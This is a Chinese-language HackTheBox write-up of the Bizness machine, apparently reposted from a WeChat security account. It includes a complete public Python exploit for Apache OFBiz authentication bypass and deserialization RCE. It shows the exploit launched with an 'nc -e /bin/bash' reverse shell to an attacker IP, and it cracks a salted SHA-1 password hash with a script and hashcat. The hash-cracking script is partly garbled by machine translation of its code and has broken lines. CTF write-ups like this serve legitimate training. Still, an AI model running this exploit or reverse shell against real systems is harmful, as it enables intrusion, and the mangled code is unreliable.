知识点:ofbiz-RCE;SHA值破解。
Scan
┌──(root㉿kali)-[/home/kali/Desktop/htb/Bizness]
└─# nmap -sC -sV -T4 -Pn 10.10.11.252
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-21 01:10 EST
Warning: 10.10.11.252 giving up on port because retransmission cap hit (6).
Nmap scan report for bizness.htb (10.10.11.252)
Host is up (0.26s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/https?
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
1055/tcp filtered ansyslmd
2042/tcp filtered isis
3404/tcp filtered unknown
9944/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.81 seconds
Enum
fuzz目录得后台登录地址
发现是ofbiz,右下角有个18.12版本,直接在网上搜索poc,注意jdk11版本,kali可以用update-alternatives --config java切换
https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/blob/master/exploit.py
import argparse
import logging
import os
import subprocess
import base64
import requests
import urllib3
# Disable SSL verification warning for simplicity
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def validate_url(url):
"""
Validate the URL schema.
"""
if not url.startswith("http://") and not url.startswith("https://"):
raise ValueError("Invalid URL schema. Use 'http://' or 'https://'.")
def scan(url):
"""
Perform a basic scan on the specified URL.
"""
print("[+] Scanning started...")
try:
target_url = f"{url}/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y"
response = requests.get(target_url, verify=False)
response.raise_for_status() # Raise an HTTPError for bad responses (4xx or 5xx)
if "PONG" in response.text:
print("[+] Apache OFBiz instance seems to be vulnerable.")
else:
print("[-] Apache OFBiz instance seems NOT to be vulnerable.")
except requests.exceptions.RequestException as e:
print(f"[-] LOG: An error occurred during the scan: {e}")
def get_encoded_payload(cmd):
"""
Generate an encoded payload based on the provided command.
"""
if not os.path.isfile("ysoserial-all.jar"):
logging.error("[-] ysoserial-all.jar not found. Exiting.")
exit(1)
print("[+] Generating payload...")
try:
#print(f"[+] Running the following command: {cmd}")
result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, text=False)
encoded_output = base64.b64encode(result.stdout).decode().replace("n", "")
print("[+] Payload generated successfully.")
except subprocess.CalledProcessError as e:
print(f"[-] LOG: An error occurred during payload generation: {e}")
return encoded_output
def send_post_request(url, encoded_output):
"""
Send a POST request with a malicious serialized payload.
"""
print("[+] Sending malicious serialized payload...")
try:
target_url = f"{url}/webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y"
headers = {
"Content-Type": "application/xml",
}
xml_data = f"""<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{encoded_output}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
"""
response = requests.post(target_url, headers=headers, data=xml_data, verify=False)
if response.status_code == 200:
print("[+] The request has been successfully sent. Check the result of the command.")
else:
print("[-] Failed to send the request. Check the connection or try again.")
except requests.exceptions.RequestException as e:
print(f"[-] LOG: An error occurred during the scan: {e}")
def main():
"""
Main function for executing the script.
"""
parser = argparse.ArgumentParser(description="Exploit script for Apache EFBiz auth vulnerability (CVE-2023-49070 and CVE-2023-51467).")
parser.add_argument("--url", required=True, help="EFBIZ's URL to send requests to.")
parser.add_argument("--cmd", help="Command to run on the remote server. Optional.")
args = parser.parse_args()
url = args.url.rstrip('/')
validate_url(args.url)
if args.cmd is None:
scan(url)
else:
command = f"java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 '{args.cmd}'"
encoded_output = get_encoded_payload(command)
send_post_request(url, encoded_output)
if __name__ == "__main__":
main()
python3 exp.py --url https://bizness.htb --cmd 'nc -e /bin/bash 10.10.14.64 4444'
ROOT
fuzz到 /opt/ofbiz/runtime/data/derby目录,经过探索,我们得到了 derby 数据库并得到了 $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2IYNN。
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2IYNN 定义了 SHA,使用“SHA-1”哈希算法,“d”表示盐,“uP0_QaVBpDWFeo8-dRzDqRwXQ2IYNN”保留值。
import hashlib
import base64
import os
from tqdm import tqdm
class PasswordEncryptor :
def __init__ ( self, hash_type= "SHA" , pbkdf2_iterations= 10000 ):
"""
使用哈希类型和 PBKDF2 迭代初始化 PasswordEncryptor 对象。
:param hash_type: 哈希使用的算法(默认为 SHA)。
:param pbkdf2_iterations: PBKDF2 的迭代次数(默认为 10000)。
"""
self.hash_type = hash_type
self.pbkdf2_iterations = pbkdf2_iterations
def crypt_bytes ( self, salt, value ):
"" "
使用指定的哈希类型和盐来加密密码。
:param salt: 加密中使用的盐。
:param value: 要加密的密码值。
:return: 加密的密码字符串。
"""
如果 不是盐:
盐= base64.urlsafe_b64encode(os.urandom( 16 )).decode( 'utf-8' )
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode( 'utf-8' ))
hash_obj.update(值)
hashed_bytes = hash_obj.digest()
结果 = f"$ {self.hash_type} $ {salt} $ {base64.urlsafe_b64encode(hashed_bytes).decode( 'utf-8' ).replace( '+' , '.' )} "
return result
def get_crypted_bytes ( self, salt, value ):
"""
获取密码的加密字节。
:param salt: 加密中使用的盐。
:param value:要获取加密字节的密码值。
:return: 加密后的字节作为字符串。
"""
尝试:
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode( 'utf-8' ))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes) .decode( 'utf-8' ).replace( '+' , '.
e:
raise Exception( f"计算{self.hash_type}类型的哈希值时出错: {e} " )
# 用法示例:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I= "
wordlist = '/usr/wordlist/rockyou.txt'
# 创建PasswordEncryptor类的实例
encryptor = PasswordEncryptor(hash_type)
# 获取加载栏的wordlist中的行数
total_lines = sum ( 1 for _ in open ( wordlist, 'r' , encoding= 'latin-1' ))
# 使用加载栏迭代 wordlist 并检查是否有匹配的密码
with open (wordlist, 'r' , encoding= 'latin-1' ) as password_list:
for password in tqdm(password_list,total_lines,desc= "Processing" ):
value = password.strip()
# 获取加密密码
hashed_password = cryptor.crypt_bytes(salt, value.encode( 'utf-8' ))
#与搜索哈希进行比较
if hashed_password == search:
print ( f'Found Password: {value} , hash: {hashed_password} ' )
break # 如果找到匹配则停止循环
脚本一把梭:monkeybizness
最后ssh上去即可
或者用厨师搭配hashcat
解密成hex,因为我们的哈希是加了盐,所以使用格式是:hash:salt,直接使用hashcat破解,盐值是d
hashcat -m 120 hash ~/rockyou.txt
root:$y$j9T$pJW9XfkWvA4ozHorBy1kA1$MMNByIaVvdq4YrIpvYDEIfckbiKog11HxKcxJkAZLcA:19709:0:99999:7:::
原文始发于微信公众号(搁浅安全):HTB-Bizness(Easy)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论